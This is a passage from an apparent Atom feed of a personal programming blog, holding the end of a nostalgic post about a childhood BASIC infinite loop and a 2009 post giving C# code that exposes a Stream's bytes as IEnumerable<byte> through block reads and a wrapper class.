class=&#34;nl&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kr&#34;&gt;PRINT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;TROY&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nl&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kr&#34;&gt;GOTO&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nl&#34;&gt;10&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The screen was filled with my name.... and it didn&#39;t stop. I got up and I ran to tell my mom. I drug her downstairs into the basement and babbled on about the computer and how it was just going and going, and how I did it. &lt;code&gt;GOTO&lt;/code&gt; mom... &lt;code&gt;GOTO&lt;/code&gt;! My excitement was more than I could contain. I was officially a rocket scientist now. My excitement, like the program, was &lt;strong&gt;INFINITE!!!&lt;/strong&gt; I created something that was endless, infinitely long. There was no way to count how many times it put my name on the screen. My computer, at that moment, knew only one thing — my name, my program, and it would run it forever until I told it to stop. &lt;em&gt;Happily.&lt;/em&gt; This was a kind of love and dedication that was far beyond what any person could ever give. There was something really deep here, between me and the computer.&lt;/p&gt;&#xA;&lt;p&gt;Fast forward, 24 years later. I&#39;m a software engineer for a living now, and have been for a while. At my company, I recently got promoted to a fancier title &lt;strong&gt;Director of Software Development&lt;/strong&gt;, and all the responsibility for success lies on my shoulders. People answer my job advertisements with the salutation &lt;strong&gt;&amp;quot;Mr. Howard&amp;quot;&lt;/strong&gt;. That part freaks me out.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;m still excited by &lt;em&gt;big data&lt;/em&gt;. That infinite loop of &lt;code&gt;TROY&lt;/code&gt;s on my screen was just the start. Now I design systems that process terabytes of data at a time on hundreds of servers. One of the most fascinating parts of my job these days is still the same as when I was a kid. I love hitting &lt;code&gt;run&lt;/code&gt; on a unit test, and seeing what happens. I feel good when it&#39;s successful once. My next step, almost without fail, is to see what happens when it runs ten times in a row.. Then &lt;code&gt;100&lt;/code&gt;... Then &lt;code&gt;1000&lt;/code&gt;... &lt;code&gt;10000&lt;/code&gt;... &lt;code&gt;100000&lt;/code&gt;... I just keep adding zeros until the thing breaks down, or until I get bored with it.&lt;/p&gt;&#xA;&lt;p&gt;Big Data is still exciting, still fascinating. I&#39;ve now given my computer programs more interesting sample material to work from, and so their worldview has expanded. Now instead of only knowing me and my name, my programs know all the details of the personal and business lives of thousands of people whose email is processed by the programs. I think my computer still loves &lt;em&gt;me&lt;/em&gt; more than any of &lt;em&gt;them&lt;/em&gt; though. Secretly, somewhere in there, I know there&#39;s an infinite loop on a background thread that&#39;s just cycling over the string &lt;code&gt;TROY&lt;/code&gt;... forever.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>An Infinite Stream Of Bytes</title>
		<id>https://blog.thoward37.me/articles/an-infinite-stream-of-bytes</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/an-infinite-stream-of-bytes" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/an-infinite-stream-of-bytes" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/an-infinite-stream-of-bytes" type="text/html"></link>
		<published>2009-10-23T01:27:00+00:00</published>
		<updated>2009-10-23T01:27:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;No, I&#39;m not about to wax poetic about the deep ontological issues raised in The Matrix, or speak meaningfully about how transient the modern world of communication is and how the artifacts of our lifetime have become ephemeral such that our posterity will not be able to remember us, even if they wanted to.&lt;/p&gt;&#xA;&lt;p&gt;Instead I&#39;m going to post a code snippet that solves an annoying little scenario that comes up every now and again when writing parsers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Basically, it goes like this:&lt;/p&gt;&#xA;&lt;p&gt;You&#39;re writing a parser, and you need to check every byte in a stream of bytes coming from a file or network stream. You might need to read forward or read backward a little, to match a multi-byte pattern or value within &lt;em&gt;n&lt;/em&gt; bytes of another value. You figure instead of &amp;quot;peeking and seeking&amp;quot; against the stream (what it&#39;s read-only!?!?), your parser can just store the state, and still only look at a single byte at a time. That&#39;s great and all, and you do a quick implementation using &lt;code&gt;stream.ReadByte&lt;/code&gt;, which seems to work...&lt;/p&gt;&#xA;&lt;p&gt;Except it&#39;s slow. You know from experience that block reads are way faster, and you want to read a block of data that&#39;s say 1k or 4k from your stream, and then parse that, fetch another block, parse that, yada yada. But what if your pattern straddles two blocks? What if the first byte of a two byte sequence is the last byte in a block and the next block&#39;s first byte is the second character? Now your parser needs to stop what it&#39;s doing, exit the loop, go grab some more data, then restart its iteration over that. You could build all that behaviour into your parser (for every parser that you write), but it&#39;s non-trival to deal with. In fact it&#39;s a real pain in the butt to refactor a parser to work that way.&lt;/p&gt;&#xA;&lt;p&gt;Also, you think to yourself &amp;quot;Man... It would be SOOOOooooo much nicer if I could just write a &lt;code&gt;foreach&lt;/code&gt; loop, and like get every byte in the stream in one bit long iteration... Why doesn&#39;t &lt;code&gt;System.IO.Stream&lt;/code&gt; implement &lt;code&gt;IEnumerable&lt;/code&gt;?!?&amp;quot; It totally makes sense that it should...&lt;/p&gt;&#xA;&lt;p&gt;Anyhow, story&#39;s over. Here&#39;s the code to solve it:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBytesFromStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Stream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;blockSize&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1024&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;blockSize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;++)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;yield&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;     &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And in case it&#39;s not obvious, I&#39;ll explain what this little guy does. It does a block read from the stream (adjust your &lt;code&gt;blocksize&lt;/code&gt; to suit or make it a parameter), iterates over the block, uses the &lt;code&gt;yield&lt;/code&gt; keyword to return bytes via the &lt;code&gt;IEnumerable&amp;lt;T&amp;gt;&lt;/code&gt; interface. The &lt;code&gt;while&lt;/code&gt; loop checks the return value of &lt;code&gt;stream.Read()&lt;/code&gt; to see if it returns zero, which means, basically, the stream is done (EOF). If there was a partial read (e.g. less than your &lt;code&gt;blocksize&lt;/code&gt; buffer) &lt;code&gt;bytesRead&lt;/code&gt; will be the amount that DID successfully read, and so your &lt;code&gt;for&lt;/code&gt; loop that is iterating over the block uses &lt;code&gt;bytesRead&lt;/code&gt; to ensure we only return valid data (if we had used &lt;code&gt;buffer.Length&lt;/code&gt; or &lt;code&gt;blockSize&lt;/code&gt;, and had a partial read, the stuff after the &amp;quot;new data&amp;quot; would be data from the last read. NOT COOL!).&lt;/p&gt;&#xA;&lt;p&gt;You could stick this method in your utility class if you&#39;d like, or make a wrapper class that wraps &lt;code&gt;Stream&lt;/code&gt; and implements &lt;code&gt;IEnumerable&amp;lt;byte&amp;gt;&lt;/code&gt;... whatever you want. Maybe you want to be all modern and cool and make it an extension method for &lt;code&gt;Stream&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s an example wrapper class:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;EnumerableStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;readonly&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Stream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EnumerableStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Stream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytes&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBytesFromStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;IEnumerator&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBytesFromStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Stream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;blockSize&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1024&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;blockSize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bytesRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;++)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;yield&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CanRead&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CanRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CanSeek&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CanSeek&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 